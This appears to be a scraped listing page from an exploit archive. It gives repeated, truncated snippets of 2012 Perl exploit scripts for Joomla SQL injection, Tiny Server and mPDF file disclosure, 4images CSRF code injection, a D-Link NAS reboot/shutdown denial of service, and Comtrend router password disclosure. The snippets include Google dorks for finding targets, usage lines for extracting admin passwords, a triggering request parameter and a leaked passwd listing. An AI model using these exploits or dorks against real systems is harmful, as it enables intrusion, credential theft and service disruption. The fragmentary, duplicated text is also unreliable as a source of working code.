Joomla 2.5.0-2.5.1 Time Based SQL Injection

Exploit for php platform in category web applications !/usr/bin/perl Thu Mar 15 22:55:32 CET 2012 A. Ramos www.securitybydefault.com Joomla \n"; print "\texamples:\n"; print "\t get admin password:\n"; print "\t\t$0 http://host/joomla/ 3 'database'\n"; print "\t\t$0 http://host/joomla/ 3 'select...

Tiny Server 1.1.5 Arbitrary File Disclosure

!/usr/bin/perl -w Title : Tiny Server v1.1.5 Arbitrary File Disclosure Exploit Author : KaHPeSeSe Test : PERFECT XP PC1 / SP3 Date : 15/03/2012 Thanks : exploit-db.com use LWP::Simple; use LWP::UserAgent; system'color','A'; system'cls'; print "\n\t\n"; print "\n\t....... Tiny Server v1.1.5...

Tiny Server v1.1.5 Arbitrary File Disclosure Exploit

Exploit for windows platform in category remote exploits !/usr/bin/perl -w Title : Tiny Server v1.1.5 Arbitrary File Disclosure Exploit Author : KaHPeSeSe Test : PERFECT XP PC1 / SP3 Date : 15/03/2012 use LWP::Simple; use LWP::UserAgent; system'color','A'; system'cls'; print "\n\t\n"; print...

Tiny Server 1.1.5 - Arbitrary File Disclosure

Tiny Server 1.1.5 - Arbitrary File Disclosure !/usr/bin/perl -w Title : Tiny Server v1.1.5 Arbitrary File Disclosure Exploit Author : KaHPeSeSe Test : PERFECT XP PC1 / SP3 Date : 15/03/2012 Thanks : exploit-db.com use LWP::Simple; use LWP::UserAgent; system'color','A'; system'cls'; print "\n\t\n"...

CreateVision CMS - 'id' SQL Injection

source: https://www.securityfocus.com/bid/52648/info CreateVision CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. A successful exploit may allow an attacker to compromise the application, access or modify...

CreateVision CMS SQL Injection

!/usr/local/bin/perl Exploit Title: CreateVision CMS Database injection. Description: Virtually none of the variables are not filtered. Google Dork: inurl:artykulprint.php Date: 2012/02/24 Author : Zwierzchowski Oskar Software Link: http://www.createvision.pl/ Version: All Version Security Risk:...

4images 1.7.6 > 9 Csrf inject php code

Exploit for php platform in category web applications !/usr/bin/perl Title : 4images 1.7.6 9 Csrf inject php code Author : Or4nG.M4n Version : 1.7.6 9 Homepage : http://www.4homepages.de/ Dork : "Powered by 4images" video : http://youtu.be/NYFzC9hH54 Thnks+----------------------------------+ | xS...

4Images 1.7.6 Cross Site Request Forgery

!/usr/bin/perl Title : 4images 1.7.6 9 Csrf inject php code Author : Or4nG.M4n Version : 1.7.6 9 Homepage : http://www.4homepages.de/ Dork : "Powered by 4images" video : http://youtu.be/NYFzC9hH54 Thnks+----------------------------------+ | xSs m4n i-Hmx h311c0d3 |.sp. abo.B4sil | HcJ Cyb3r...

4Images 1.7.6-9 - Cross-Site Request Forgery / PHP Code Injection

!/usr/bin/perl Title : 4images 1.7.6 9 Csrf inject php code Author : Or4nG.M4n Version : 1.7.6 9 Homepage : http://www.4homepages.de/ Dork : "Powered by 4images" video : http://youtu.be/NYFzC9hH54 Thnks+----------------------------------+ | xSs m4n i-Hmx h311c0d3 |.sp. abo.B4sil | HcJ Cyb3r...

php ireport v1.0 Remote Html Code injection

Exploit for php platform in category web applications !/usr/bin/perl Title = phpireport v1.0 = Remote Html Code injection Author = Or4nG.M4n Download = http://garr.dl.sourceforge.net/project/phpireport/phpireport%20v1.0%20alpha%20revision%2025.rar Thnks : +----------------------------------+ | xS...

PHP iReport 1.0 - Remote Html Code Injection

PHP iReport 1.0 - Remote Html Code Injection !/usr/bin/perl Title = phpireport v1.0 = Remote Html Code injection Author = Or4nG.M4n Download = http://garr.dl.sourceforge.net/project/phpireport/phpireport%20v1.0%20alpha%20revision%2025.rar Thnks : +----------------------------------+ | xSs m4n i-H...

PHP iReport 1.0 - Remote Html Code Injection

!/usr/bin/perl Title = phpireport v1.0 = Remote Html Code injection Author = Or4nG.M4n Download = http://garr.dl.sourceforge.net/project/phpireport/phpireport%20v1.0%20alpha%20revision%2025.rar Thnks : +----------------------------------+ | xSs m4n i-Hmx h311 c0d3 | | Dr.Bnned ahwak2000 sa^Dev!L ...

mPDF <= 5.3 file disclosure and fix-vulnerability warning-the black bar safety net

Title: mPDF = 5.3 File Disclosure Author: ZadYree Download address: http://www.mpdf1.com/mpdf/download Affected versions: 5.3 and prior Test platform: multiple !/ usr/bin/perl-U =head1 TITLE mPDF = 5.3 File Disclosure Exploit 0day =head2 SYNOPSIS -- examples/showcode.php --...

mPDF 5.3 - File Disclosure

mPDF 5.3 - File Disclosure Exploit Title: mPDF 1; use c...

mPDF 5.3 - File Disclosure

Exploit Title: mPDF 1; use constant FALSE = 0; help u...

D-Link DNS-320 ShareCenter - Remote RebootShutdownReset (Denial of Service)

D-Link DNS-320 ShareCenter - Remote RebootShutdownReset Denial of Service !/usr/bin/perl Title: ShareCenter D-Link DNS-320 remote reboot/shutdown/reset DoS. Type: Hardware Remote: yes Author: rigan - imrigan sobachka gmail.com Tested on: Firmware : DNS320-v2.00b06 Security flaws: dskmgr.cgi allow...

ShareCenter D-Link DNS-320 Remote reboot/shutdown/reset (DoS)

Exploit for hardware platform in category dos / poc !/usr/bin/perl Title: ShareCenter D-Link DNS-320 remote reboot/shutdown/reset DoS. Type: Hardware Remote: yes Author: rigan - imrigan sobachka gmail.com Tested on: Firmware : DNS320-v2.00b06 Security flaws: dskmgr.cgi allows execute reboot via...

D-Link DNS-320 ShareCenter - Remote Reboot/Shutdown/Reset (Denial of Service)

!/usr/bin/perl Title: ShareCenter D-Link DNS-320 remote reboot/shutdown/reset DoS. Type: Hardware Remote: yes Author: rigan - imrigan sobachka gmail.com Tested on: Firmware : DNS320-v2.00b06 Security flaws: dskmgr.cgi allows execute reboot via POST request with parameter cmd=FMTrestart...

COMTREND CT-5624 Router - Root/Support Password Disclosure/Change

!/usr/bin/perl + Comtrend Router CT-5624 Remote Root/Support Password Disclosure/Change Exploit Author: Todor Donev Email: todor.donev@@gmail Type: Hardware Vuln Type: Remote Tested: Board ID : CT-5624 Software : A011-306TSR-C01R03 Bootloader : 1.0.37-0.7-3 ADSL : A2pB022c3.d20e Board ID : CT-563...

DreamBox DM800 1.5rc1 - File Disclosure

DreamBox DM800 1.5rc1 - File Disclosure !/usr/bin/perl DreamBox DM800 :0:0:root:/home/root:/bin/sh daemon::1:1:daemon:/usr/sbin:/bin/sh bin::2:2:bin:/bin:/bin/sh sys::3:3:sys:/dev:/bin/sh sync::4:65534:sync:/bin:/bin/sync games::5:60:games:/usr/games:/bin/sh man::6:12:man:/var/cache/man:/bin/sh...